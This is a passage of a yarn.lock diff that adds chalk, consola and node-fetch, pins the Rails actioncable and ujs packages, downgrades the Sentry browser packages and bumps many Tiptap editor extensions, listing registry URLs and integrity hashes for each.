+ chalk "^4.1.0"
+ consola "^2.15.0"
+ node-fetch "^2.6.1"
"@polka/url@^1.0.0-next.9":
version "1.0.0-next.12"
@@ -1176,66 +1176,66 @@
resolved "https://registry.yarnpkg.com/@popperjs/core/-/core-2.9.2.tgz#adea7b6953cbb34651766b0548468e743c6a2353"
integrity sha512-VZMYa7+fXHdwIq1TDhSXoVmSPEGM/aa+6Aiq3nVVJ9bXr24zScr+NlKFKC3iPljA7ho/GAZr+d2jOf5GIRC30Q==
-"@rails/actioncable@^6.0.3-4":
- version "6.1.0"
- resolved "https://registry.yarnpkg.com/@rails/actioncable/-/actioncable-6.1.0.tgz#f336f25450b1bc43b99bc60557a70b6e6bb1d3d2"
- integrity sha512-eDgy+vcKN9RIzxmMBfSAe77rTj2cp6kJALiVQyKrW2O9EK2MdostOmP+99At/Dit3ur5+77NVnruxD7y14ZYFA==
+"@rails/actioncable@6.1.3-2":
+ version "6.1.3-2"
+ resolved "https://registry.yarnpkg.com/@rails/actioncable/-/actioncable-6.1.3-2.tgz#de22e2d7474dcca051f7060829450412a17ecc04"
+ integrity sha512-3mBLDwM85oj0Ot+wgC3c0wsfx5qvf8XJwSbkJk4ZqW4bA7ctn8BFW+cRQxrnQau+NDfmJvSECY8mmNIANcpULA==
-"@rails/ujs@^6.0.3-4":
- version "6.1.0"
- resolved "https://registry.yarnpkg.com/@rails/ujs/-/ujs-6.1.0.tgz#9a48df6511cb2b472c9f596c1f37dc0af022e751"
- integrity sha512-kQNKyM4ePAc4u9eR1c4OqrbAHH+3SJXt++8izIjeaZeg+P7yBtgoF/dogMD/JPPowNC74ACFpM/4op0Ggp/fPw==
+"@rails/ujs@6.1.3-2":
+ version "6.1.3-2"
+ resolved "https://registry.yarnpkg.com/@rails/ujs/-/ujs-6.1.3-2.tgz#5d7e161e7061654e738a116a7ec8b58b51721a11"
+ integrity sha512-Nd0Im4cW8tIX8ZR3jE/dS3wnJrN46RJSdCfU59Cji2puctIWohq63LjKFMufUwm21bCasISNGoLdkr3S7nwONw==
-"@sentry/browser@^5.22.3":
- version "5.30.0"
- resolved "https://registry.yarnpkg.com/@sentry/browser/-/browser-5.30.0.tgz#c28f49d551db3172080caef9f18791a7fd39e3b3"
- integrity sha512-rOb58ZNVJWh1VuMuBG1mL9r54nZqKeaIlwSlvzJfc89vyfd7n6tQ1UXMN383QBz/MS5H5z44Hy5eE+7pCrYAfw==
+"@sentry/browser@5.26.0":
+ version "5.26.0"
+ resolved "https://registry.yarnpkg.com/@sentry/browser/-/browser-5.26.0.tgz#e90a197fb94c5f26c8e05d6a539c118f33c7d598"
+ integrity sha512-52kNVpy10Zd3gJRGFkhnOQvr80WJg7+XBqjMOE0//Akh4PfvEK3IqmAjVqysz6aHdruwTTivKF4ZoAxL/pA7Rg==
dependencies:
- "@sentry/core" "5.30.0"
- "@sentry/types" "5.30.0"
- "@sentry/utils" "5.30.0"
+ "@sentry/core" "5.26.0"
+ "@sentry/types" "5.26.0"
+ "@sentry/utils" "5.26.0"
tslib "^1.9.3"
-"@sentry/core@5.30.0":
- version "5.30.0"
- resolved "https://registry.yarnpkg.com/@sentry/core/-/core-5.30.0.tgz#6b203664f69e75106ee8b5a2fe1d717379b331f3"
- integrity sha512-TmfrII8w1PQZSZgPpUESqjB+jC6MvZJZdLtE/0hZ+SrnKhW3x5WlYLvTXZpcWePYBku7rl2wn1RZu6uT0qCTeg==
+"@sentry/core@5.26.0":
+ version "5.26.0"
+ resolved "https://registry.yarnpkg.com/@sentry/core/-/core-5.26.0.tgz#9b5fe4de8a869d733ebcc77f5ec9c619f8717a51"
+ integrity sha512-Ubrw7K52orTVsaxpz8Su40FPXugKipoQC+zPrXcH+JIMB+o18kutF81Ae4WzuUqLfP7YB91eAlRrP608zw0EXA==
dependencies:
- "@sentry/hub" "5.30.0"
- "@sentry/minimal" "5.30.0"
- "@sentry/types" "5.30.0"
- "@sentry/utils" "5.30.0"
+ "@sentry/hub" "5.26.0"
+ "@sentry/minimal" "5.26.0"
+ "@sentry/types" "5.26.0"
+ "@sentry/utils" "5.26.0"
tslib "^1.9.3"
-"@sentry/hub@5.30.0":
- version "5.30.0"
- resolved "https://registry.yarnpkg.com/@sentry/hub/-/hub-5.30.0.tgz#2453be9b9cb903404366e198bd30c7ca74cdc100"
- integrity sha512-2tYrGnzb1gKz2EkMDQcfLrDTvmGcQPuWxLnJKXJvYTQDGLlEvi2tWz1VIHjunmOvJrB5aIQLhm+dcMRwFZDCqQ==
+"@sentry/hub@5.26.0":
+ version "5.26.0"
+ resolved "https://registry.yarnpkg.com/@sentry/hub/-/hub-5.26.0.tgz#b2bbd8128cd5915f2ee59cbc29fff30272d74ec5"
+ integrity sha512-lAYeWvvhGYS6eQ5d0VEojw0juxGc3v4aAu8VLvMKWcZ1jXD13Bhc46u9Nvf4qAY6BAQsJDQcpEZLpzJu1bk1Qw==
dependencies:
- "@sentry/types" "5.30.0"
- "@sentry/utils" "5.30.0"
+ "@sentry/types" "5.26.0"
+ "@sentry/utils" "5.26.0"
tslib "^1.9.3"
-"@sentry/minimal@5.30.0":
- version "5.30.0"
- resolved "https://registry.yarnpkg.com/@sentry/minimal/-/minimal-5.30.0.tgz#ce3d3a6a273428e0084adcb800bc12e72d34637b"
- integrity sha512-BwWb/owZKtkDX+Sc4zCSTNcvZUq7YcH3uAVlmh/gtR9rmUvbzAA3ewLuB3myi4wWRAMEtny6+J/FN/x+2wn9Xw==
+"@sentry/minimal@5.26.0":
+ version "5.26.0"
+ resolved "https://registry.yarnpkg.com/@sentry/minimal/-/minimal-5.26.0.tgz#851dea3644153ed3ac4837fa8ed5661d94e7a313"
+ integrity sha512-mdFo3FYaI1W3KEd8EHATYx8mDOZIxeoUhcBLlH7Iej6rKvdM7p8GoECrmHPU1l6sCCPtBuz66QT5YeXc7WILsA==
dependencies:
- "@sentry/hub" "5.30.0"
- "@sentry/types" "5.30.0"
+ "@sentry/hub" "5.26.0"
+ "@sentry/types" "5.26.0"
tslib "^1.9.3"
-"@sentry/types@5.30.0":
- version "5.30.0"
- resolved "https://registry.yarnpkg.com/@sentry/types/-/types-5.30.0.tgz#19709bbe12a1a0115bc790b8942917da5636f402"
- integrity sha512-R8xOqlSTZ+htqrfteCWU5Nk0CDN5ApUTvrlvBuiH1DyP6czDZ4ktbZB0hAgBlVcK0U+qpD3ag3Tqqpa5Q67rPw==
+"@sentry/types@5.26.0":
+ version "5.26.0"
+ resolved "https://registry.yarnpkg.com/@sentry/types/-/types-5.26.0.tgz#b0cbacb0b24cd86620fb296b46cf7277bb004a3e"
+ integrity sha512-ugpa1ePOhK55pjsyutAsa2tiJVQEyGYCaOXzaheg/3+EvhMdoW+owiZ8wupfvPhtZFIU3+FPOVz0d5k9K5d1rw==
-"@sentry/utils@5.30.0":
- version "5.30.0"
- resolved "https://registry.yarnpkg.com/@sentry/utils/-/utils-5.30.0.tgz#9a5bd7ccff85ccfe7856d493bffa64cabc41e980"
- integrity sha512-zaYmoH0NWWtvnJjC9/CBseXMtKHm/tm40sz3YfJRxeQjyzRqNQPgivpd9R/oDJCYj999mzdW382p/qi2ypjLww==
+"@sentry/utils@5.26.0":
+ version "5.26.0"
+ resolved "https://registry.yarnpkg.com/@sentry/utils/-/utils-5.26.0.tgz#09a3d01d91747f38f796cafeb24f8fd86e4fa05f"
+ integrity sha512-F2gnHIAWbjiowcAgxz3VpKxY/NQ39NTujEd/NPnRTWlRynLFg3bAV+UvZFXljhYJeN3b/zRlScNDcpCWTrtZGw==
dependencies:
- "@sentry/types" "5.30.0"
+ "@sentry/types" "5.26.0"
tslib "^1.9.3"
"@sindresorhus/is@^0.14.0":
@@ -1297,10 +1297,10 @@
dom-accessibility-api "^0.5.1"
pretty-format "^26.4.2"
-"@tiptap/core@^2.0.0-beta.54":
- version "2.0.0-beta.54"
- resolved "https://registry.yarnpkg.com/@tiptap/core/-/core-2.0.0-beta.54.tgz#3630c78aab0a72cff0ffa5dda7ff7a2623a307e5"
- integrity sha512-N89gA7MKxbXXN/aoe9Qp9fyzgg26Sm+7t+/ADB2HqCvVJhN0fQI0MhNdwOTvxHSxo3AASBMgo7Yj1Zw29TfG1Q==
+"@tiptap/core@^2.0.0-beta.75":
+ version "2.0.0-beta.75"
+ resolved "https://registry.yarnpkg.com/@tiptap/core/-/core-2.0.0-beta.75.tgz#8295dfa7ca4b22de61e9c68a102763343b26e03a"
+ integrity sha512-o5+xUIXnrEv6I2VrCTDI4d75tFW2NGXed+cuhYZw4+iikamL7SkrqgW/+EvIFPDggGo1b3D7xGd1CrXz9eEBhA==
dependencies:
"@types/prosemirror-commands" "^1.0.4"
"@types/prosemirror-inputrules" "^1.0.4"
@@ -1308,178 +1308,178 @@
"@types/prosemirror-model" "^1.13.0"
"@types/prosemirror-schema-list" "^1.0.3"
"@types/prosemirror-state" "^1.2.6"
- "@types/prosemirror-transform" "^1.1.2"
+ "@types/prosemirror-transform" "^1.1.3"
"@types/prosemirror-view" "^1.17.1"
- prosemirror-commands "^1.1.7"
+ prosemirror-commands "^1.1.8"
prosemirror-inputrules "^1.1.3"
prosemirror-keymap "^1.1.3"
prosemirror-model "^1.14.1"
prosemirror-schema-list "^1.1.4"
prosemirror-state "^1.3.4"
prosemirror-transform "^1.3.2"
- prosemirror-view "^1.18.4"
+ prosemirror-view "^1.18.7"
-"@tiptap/extension-blockquote@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-blockquote/-/extension-blockquote-2.0.0-beta.11.tgz#ca0be20501506a5555f39c4ec61d0fb3fb8a1713"
- integrity sha512-lIE+VYm22rtDPe6nCxisn5YfSibP/oJwiaOdcYNVqBHNx49PDyYKqCT4EO7RWBw2CqZ+SuPIabrU0JYkjmHU7g==
+"@tiptap/extension-blockquote@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-blockquote/-/extension-blockquote-2.0.0-beta.13.tgz#72a26dd54e5edb9abc4488ad7c1f0a43d4089bd5"
+ integrity sha512-7Pis9bXMjyyXVIZS9zIytfRohofEhbTS8tQWCPrBNfb3ceSMQhNZf4jBBXQsngQntkO+0Di5LI1hFpa+XF+RYA==
dependencies:
prosemirror-inputrules "^1.1.3"
-"@tiptap/extension-bold@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bold/-/extension-bold-2.0.0-beta.11.tgz#d8ac973d2795fc46231e5969d922ce8c3f7404b8"
- integrity sha512-ppak6sIYp2amVWwbU714rGrd+uN0jPLrg3RNh3+uZOuFNEeJK9IHuumhVqIiHqAd1aJ/m9M+tz2x5mrk0M/T3g==
+"@tiptap/extension-bold@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bold/-/extension-bold-2.0.0-beta.13.tgz#d6b8f3797a6f7932ae38b9d761cc1effa886b715"
+ integrity sha512-hMA6GItX/cWN1K9TBI1LeEPo8bFhX9JrE1flr6dxGJ9q58XVbzb2/ojZzcRFVdUp7oxNyQaFe6yP1JhTVcIrog==
-"@tiptap/extension-bubble-menu@^2.0.0-beta.15":
- version "2.0.0-beta.15"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bubble-menu/-/extension-bubble-menu-2.0.0-beta.15.tgz#307f94785caa6d57cbc33dcb37128fc9e910e184"
- integrity sha512-FP4AbsAu36PgTXrSWqJoMqDKMNtDx8fU0JffcGpegl8lG2JXlxFg/34RUrAwm4wlSJLHzV87Oasgxrk5QI/tsQ==
+"@tiptap/extension-bubble-menu@^2.0.0-beta.20":
+ version "2.0.0-beta.20"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bubble-menu/-/extension-bubble-menu-2.0.0-beta.20.tgz#248c70910bf232ed5fb9eb3a7c084bc592d2341d"
+ integrity sha512-eomoCnZBGuPBWvacMHtaLJ2EqTrA0OZoLEwMKiPy4Y3eD2/Us9nLVFWq2DqaB7nXxG0BCN1ZnaKTtpoJtdEgSQ==
dependencies:
prosemirror-state "^1.3.4"
- prosemirror-view "^1.18.4"
+ prosemirror-view "^1.18.7"
tippy.js "^6.3.1"
-"@tiptap/extension-bullet-list@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bullet-list/-/extension-bullet-list-2.0.0-beta.11.tgz#6d3ccc047120bdd7576f0d1d286ae61a03c8b96e"
- integrity sha512-2Fq3uoq1tkwghUezuPO/5UcFEZUn7Ksn7CZ9MY0nPGONazxf2oHPbQjjH/jQW4b9H/qsDBVrxgype+qsW9cOkA==
+"@tiptap/extension-bullet-list@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bullet-list/-/extension-bullet-list-2.0.0-beta.13.tgz#8b2c4ec8decc5562ae9bb5d97b0a99e0b27f9794"
+ integrity sha512-6W0T6U/Gm3ypLJDTe79K/0mFc88svJrP6TFjj3tcXwpygnwcCpBmpJv4DG656eGmB6rGGVPe1K/zoT1j6HB8+A==
dependencies:
prosemirror-inputrules "^1.1.3"
-"@tiptap/extension-code-block-lowlight@^2.0.0-beta.18":
- version "2.0.0-beta.18"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block-lowlight/-/extension-code-block-lowlight-2.0.0-beta.18.tgz#f90e557f0b62761f104937b0d41a4c4dd5569ee8"
- integrity sha512-UYtD6PcfbT8VgcU3x4452xpYi0oORx+jKi/eRoxMnCPPFiDUKLkuAmwM5dEcflCsZHaHRDn1c5pfRFQg9X+Y5A==
+"@tiptap/extension-code-block-lowlight@2.0.0-beta.25":
+ version "2.0.0-beta.25"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block-lowlight/-/extension-code-block-lowlight-2.0.0-beta.25.tgz#eb5f721fa8a4035244b7883e3cfc770f17fae27f"
+ integrity sha512-wfqbu27/LTtb2W1ExR3pmJoNJosM/Vq7VJeg5FB+Bt6hyBZ6GVRd8ABEnJb4SXeCRBXXs6sJoEkcGyEMgAtcZg==
dependencies:
- "@tiptap/extension-code-block" "^2.0.0-beta.13"
- "@types/lowlight" "^0.0.1"
+ "@tiptap/extension-code-block" "^2.0.0-beta.15"
+ "@types/lowlight" "^0.0.2"
lowlight "^1.20.0"
prosemirror-model "^1.14.1"
prosemirror-state "^1.3.4"
- prosemirror-view "^1.18.4"
+ prosemirror-view "^1.18.7"
-"@tiptap/extension-code-block@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block/-/extension-code-block-2.0.0-beta.13.tgz#9a41d103ed5b5a4810564c67105a89725b12559a"
- integrity sha512-IjYxiEkHmcRQu9qSc/InalurSxQD33ti39VqwDRZqKKG0rkAZSJhKyETdopVjr3EuE6YIp38CJdQfma7OENUXw==
+"@tiptap/extension-code-block@^2.0.0-beta.15":
+ version "2.0.0-beta.15"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block/-/extension-code-block-2.0.0-beta.15.tgz#3fb0f04c38f8276195a1a958cc7d3399b52dc46a"
+ integrity sha512-iBuK/nnUw37O9mZVnuZu+viSNzLz7SRktjDtFhp6RM3ZVSOYIYjt6pJ05EVJ263QEeXB4Q1Qae8/xJOPPHN9hw==
dependencies:
prosemirror-inputrules "^1.1.3"
-"@tiptap/extension-code@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code/-/extension-code-2.0.0-beta.11.tgz#484d63cde6ad5951e9075e2a47ebe0f6b633742f"
- integrity sha512-8u69zfc5Rd7QKZ3bZTj2IC4hJx34pT6lZ5u8XPS9DTlEPEXBp3XWgpZxuxFmoNhABqEPHYyBJao5eINtfQhhRg==
+"@tiptap/extension-code@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code/-/extension-code-2.0.0-beta.13.tgz#fa2d14c61fe213c2c40b196e1b1b7a8862cec987"
+ integrity sha512-em1rGWZXYlH6DrcIWRTvYefBzig34y7HBeWIB3uRHULd2GpRIowfbl8SRFgeapoKj1kbYjAtVr+wshlNi9/ujw==
-"@tiptap/extension-document@^2.0.0-beta.10":
- version "2.0.0-beta.10"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-document/-/extension-document-2.0.0-beta.10.tgz#2ccf4e5496f6b15c6bfa4f720b89af74fb871df4"
- integrity sha512-ugWixuQnZnmeXCk6Tp0lFWLdER5WL2QHJ9QOXSYoiT0LIfDivRhDvm4a0C0pToUL+f++jzfI8jcIvroHATWwVg==
+"@tiptap/extension-document@^2.0.0-beta.12":
+ version "2.0.0-beta.12"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-document/-/extension-document-2.0.0-beta.12.tgz#dfbc7e686075a38662a43708903cd2047cf7f4b2"
+ integrity sha512-i5anc2n98Jg1gi6WDLTaS76jLIUe41FHuMHgL4DCIDXv8m2q0qnktfmOvh9AMF7cPzJ2NVAR9xYw0Pxm3qXY4w==
-"@tiptap/extension-dropcursor@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-dropcursor/-/extension-dropcursor-2.0.0-beta.11.tgz#620120a7f95e7cf21e6a3362ba38b2eacfa98a88"
- integrity sha512-FwNoazT3BbvFsYxoQrmtVgLG1owEVhtoeaHndIWzMNxOGCWa96JtXsPgch9hSzQzb95qA5TFrFAftF/d5fkG8w==
+"@tiptap/extension-dropcursor@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-dropcursor/-/extension-dropcursor-2.0.0-beta.14.tgz#b5e4137d4be1afe14a8f67d932af5e6d3df7cb56"
+ integrity sha512-F6sbclgoWPiindx/g1Hxf7jfimne7mrxeCBXvI8xfbcHwTubFhR+nZ+tiIfttcxdM4FNusSsLsDJo7rfE/kiUg==
dependencies:
"@types/prosemirror-dropcursor" "^1.0.1"
- prosemirror-dropcursor "^1.3.4"
+ prosemirror-dropcursor "^1.3.5"
-"@tiptap/extension-floating-menu@^2.0.0-beta.12":
- version "2.0.0-beta.12"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-floating-menu/-/extension-floating-menu-2.0.0-beta.12.tgz#de38a4fc5e24c0f70caafeeece79e6623bd8a579"
- integrity sha512-mPfBKCW9hatT2UueIpLZTnN4qJ8YmS3EktQBlZLOuYwrBPqDZXu2qCPn1CyIV3emOmfFvnOHO3n9sIqbDDbZaQ==
+"@tiptap/extension-floating-menu@^2.0.0-beta.16":
+ version "2.0.0-beta.16"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-floating-menu/-/extension-floating-menu-2.0.0-beta.16.tgz#109226c060351b83916441cd58d631eff47d6bb2"
+ integrity sha512-ByiBBZHOhVH2SslWjc/rwo/aQFJpAfMJAELw1Q8CaUqzTCbgQzvuyM+y6dGL/uLuZuvtncLyPYcGhnK87mZb2Q==
dependencies:
prosemirror-state "^1.3.4"
- prosemirror-view "^1.18.4"
+ prosemirror-view "^1.18.7"
tippy.js "^6.3.1"
-"@tiptap/extension-gapcursor@^2.0.0-beta.15":
- version "2.0.0-beta.15"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-gapcursor/-/extension-gapcursor-2.0.0-beta.15.tgz#6bafbd095e8673449f976935200f22a623d4043c"
- integrity sha512-1qV9Wy4xa2oKD3JT5htK0Eu+tsPdknfXzWpdQT/P1NmTGk/Ysfy7CuipYNMaYD31NAreumXrC3CyDvel+1xo/A==
+"@tiptap/extension-gapcursor@^2.0.0-beta.17":
+ version "2.0.0-beta.17"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-gapcursor/-/extension-gapcursor-2.0.0-beta.17.tgz#774037fddab50379b21a58cab91bfd988b9b793f"
+ integrity sha512-ItucjmbjpIfjBkoarkekfZ2BB4nsJuBptZc2xWj36zpC9ehQvH3uVcgyRPM/5To2gvj4uj8MmYyxO8Q6/PszAg==
dependencies:
"@types/prosemirror-gapcursor" "^1.0.3"
prosemirror-gapcursor "^1.1.5"
-"@tiptap/extension-hard-break@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-hard-break/-/extension-hard-break-2.0.0-beta.11.tgz#b2d457bb5c4f97d052b2537a7624d9609822ef65"
- integrity sha512-jjJDY6buBu/2hGp4lpO+jrfMPfqnTaRJxMVv21eZylFHsEvrBFfy5yAj5RdLaqHg8RO3Av2aRwztXFn6oiEQ1Q==
+"@tiptap/extension-hard-break@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-hard-break/-/extension-hard-break-2.0.0-beta.13.tgz#36b5433e70e8eac121d6d26871ff60527b500442"
+ integrity sha512-C84BzpP3G+86iPJOyJTlfA7RK2IhLkiosvo3qKzPMCELVc2I8mICbuA7cEbveO0Rpg24AAyeec0Q0GYf+WiItw==
-"@tiptap/extension-heading@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-heading/-/extension-heading-2.0.0-beta.11.tgz#9da6864aeafaeed83551559932253c9ab16621fb"
- integrity sha512-ymhb5q7iBIGFGU4hRrsVFJDx6zOUqF9qBBzufD44lT4KukFEqxjOO1RofOKI5V8VOTuhfx/hAt67fvwh4UR5iQ==
+"@tiptap/extension-heading@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-heading/-/extension-heading-2.0.0-beta.13.tgz#7d6f4a0e28af47ad1a1e455af01dbd1997a9f948"
+ integrity sha512-fGuFs6ZG1mBWceSwes4fAWf4d97xKhbdDWaMjo2+2WAdx6y9fX1s64psYJYwQ5KXnKHaCU+JBPged9igDcXVsg==
dependencies:
prosemirror-inputrules "^1.1.3"
-"@tiptap/extension-history@^2.0.0-beta.10":
- version "2.0.0-beta.10"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-history/-/extension-history-2.0.0-beta.10.tgz#bb14500e193118295eb8c55ae4c2ddc5f2ae5d72"
- integrity sha512-iy6H4Y63hvIkD+W1YJ5fOpvhRXHurRuypZajnupommxRigorA3z8MTySsUs7PIKx3vYvxYjr4dKS/6Shs72DSQ==
+"@tiptap/extension-history@^2.0.0-beta.12":
+ version "2.0.0-beta.12"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-history/-/extension-history-2.0.0-beta.12.tgz#a25607aab594998d6b46576724d56701a2833689"
+ integrity sha512-8H7fQ1dHMAnNxRar6WOdDJ9+7/S7DX8Mg2hJbahUqN3UfTKZxqorXJB+k/QSeicozz5xWHp+b/RxqiHA3nMu5g==
dependencies:
"@types/prosemirror-history" "^1.0.2"
prosemirror-history "^1.1.3"
-"@tiptap/extension-horizontal-rule@^2.0.0-beta.14":
- version "2.0.0-beta.14"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-2.0.0-beta.14.tgz#bc23541ab5885c25a804b6b6f3c0ed2e505f7327"
- integrity sha512-gCqJWhdqTfYKntlZ9dNlImFdFawRzfDbXDiffsnu1hqrEwCTweR5mWE+8qayRDL/JAEAqsFDLbgyPrYZQ1bvbA==
+"@tiptap/extension-horizontal-rule@^2.0.0-beta.16":
+ version "2.0.0-beta.16"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-2.0.0-beta.16.tgz#7f8a3e14de2fc8bbb52816a697450a61d8797689"
+ integrity sha512-Yh8AM5ArI/FfzdA0TcvIZEpMkRo0Rd9lLyEXYfWV0Be6qkPApa/QDzEreQMf4JIKDE8z0R0yX0XRxh/N5iUmew==
dependencies:
prosemirror-state "^1.3.4"
-"@tiptap/extension-image@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-image/-/extension-image-2.0.0-beta.11.tgz#b7c2961118c9468fd4bdb8632663379f618978e9"
- integrity sha512-0ItQgR6laHLqamWH4aEqbxPiiU2Vd9rTXnSKH/UE6N+O/7eyhSb/ABbbxVdS9P7EmnuDhlo2F12ysNgI1D9Uyw==
+"@tiptap/extension-image@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-image/-/extension-image-2.0.0-beta.13.tgz#58a2e66533e2ef63e67aeb7980fe642b75fa17a0"
+ integrity sha512-3uapkYVV8xp62+qYWteKYYIzUgP8AK8HzWFnnN/QMO5yZg7Me3u+r+1hJ7FrCQeT+4IyxBlni7jHDEDftmVR4w==
-"@tiptap/extension-italic@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-italic/-/extension-italic-2.0.0-beta.11.tgz#fa5668ede5dd5373277da4bafc26415a2771d7f6"
- integrity sha512-bm7iYB6HZTWa/ncU83hcAvjXjB7hei86xG5u+Hl2d11PvR6j/6srn1FWcXmf/2xwuWI/mUCTpl+ZfkoY7oTu9w==
+"@tiptap/extension-italic@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-italic/-/extension-italic-2.0.0-beta.13.tgz#8b0810e41dc5c3bfb0640d638b0b40464cd81fea"
+ integrity sha512-IUvXnR9bnOiyE+k0Oa2ugCW5p5Nibvstr6W6g/C6RA36AbV9K/zr4XzQgClfZo96pM8Ay5Ia+jCYeYGOD6Mdaw==
-"@tiptap/extension-link@^2.0.0-beta.15":
- version "2.0.0-beta.15"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-link/-/extension-link-2.0.0-beta.15.tgz#bb9adad12c55688e220f7d8a15d8456fbad47116"
- integrity sha512-/iIc1PjLSrteezXn8wmdKrXsMHS8zwV+UiPOSFPaGYzmJTt3kA+FVOo7xLOV1dZjM+nWDd02/QFNBNUCjGOeug==
+"@tiptap/extension-link@^2.0.0-beta.17":
+ version "2.0.0-beta.17"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-link/-/extension-link-2.0.0-beta.17.tgz#5a3c28762cf332bb4de0fb13ce6973b11496697a"
+ integrity sha512-/xvUEMRh3E651kXidTEpmlSGqdVXjtnA0KuVModmCmxMchDCpO7kTIpjzS60joCl2Nx2WgICFoJ4SO6dSTMf/w==
dependencies:
prosemirror-state "^1.3.4"
-"@tiptap/extension-list-item@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-list-item/-/extension-list-item-2.0.0-beta.11.tgz#22639904f9fdee8b80e344fe142e9065e9451337"
- integrity sha512-HKA9q2q9AobbB3er12FbXAy3rHVd41LXFKegpP/2Fle3gembN+VlazSXqHHWzlbaHgQAVn1MP6pnwaDFDYGNeA==
+"@tiptap/extension-list-item@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-list-item/-/extension-list-item-2.0.0-beta.13.tgz#49f32d70a554897ffa3b37b492ebaf5953f8a975"
+ integrity sha512-5nvrCvcV35J6WjLd8xQCQWnj2HIDsfTalr0D57jMwym3ZCIEvLwf23DQQ1nNsOHhopmS/Emixh+RQpXUZjH8lQ==
-"@tiptap/extension-ordered-list@^2.0.0-beta.11":
- version "2.0.0-beta.11"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-ordered-list/-/extension-ordered-list-2.0.0-beta.11.tgz#37dd6cbb8b271bf8902ffcbad2a2e282ea078f6e"
- integrity sha512-EYv8jKahmGgumIz/MHfI1zsGTz7YgTII7WdKPG8C3hpkDdkg/tb28Ue14CXlQ2hSGWjFTf1U0gHgHcPaJHMYJg==
+"@tiptap/extension-ordered-list@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-ordered-list/-/extension-ordered-list-2.0.0-beta.13.tgz#4df2264e1405f73848cd2fedcea95f3064911cd7"
+ integrity sha512-BX4cGRmiNJ/n6VHao7BALJOMAofwcp1zrleWI5d0/7YqkUKP7ExIMiRFVrgjrg4qxq9cVNXa00GLs++FeuySQA==
dependencies:
prosemirror-inputrules "^1.1.3"
-"@tiptap/extension-paragraph@^2.0.0-beta.12":
- version "2.0.0-beta.12"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-paragraph/-/extension-paragraph-2.0.0-beta.12.tgz#849aad4294a341abd93781174dbdc369d9b7570c"
- integrity sha512-qzURExCJ9gKLnzRE219BWp0S/wNNhX8NQI+ipMSIRoh5wZInCHwZnObRLsGuQI/qH/lQ0Y0QYWzA8VknCaH1kA==
+"@tiptap/extension-paragraph@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-paragraph/-/extension-paragraph-2.0.0-beta.14.tgz#6b8c64166f3b581a1f8e1ae415b895e5bd2952d1"
+ integrity sha512-IFc2/WMgmpPTRS/h++5vNCiSyT4yTj/NGG9L+x35aPCDQutTYW2V2i1Lwe2lcxpPVF4ofDX50skjdIiWZoGEqA==
-"@tiptap/extension-strike@^2.0.0-beta.12":
- version "2.0.0-beta.12"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-strike/-/extension-strike-2.0.0-beta.12.tgz#0a7452e92d5042c8884eda38f6496a1ecc28e264"
- integrity sha512-qAJiC31BmRUOnDzGmMev2PMR5hhTIGIlH3aeZDiIsfiGCUleuyM3qJHIasq11W4Yap0s52qsSGI0+cmdVkbR/w==
+"@tiptap/extension-strike@^2.0.0-beta.15":
+ version "2.0.0-beta.15"
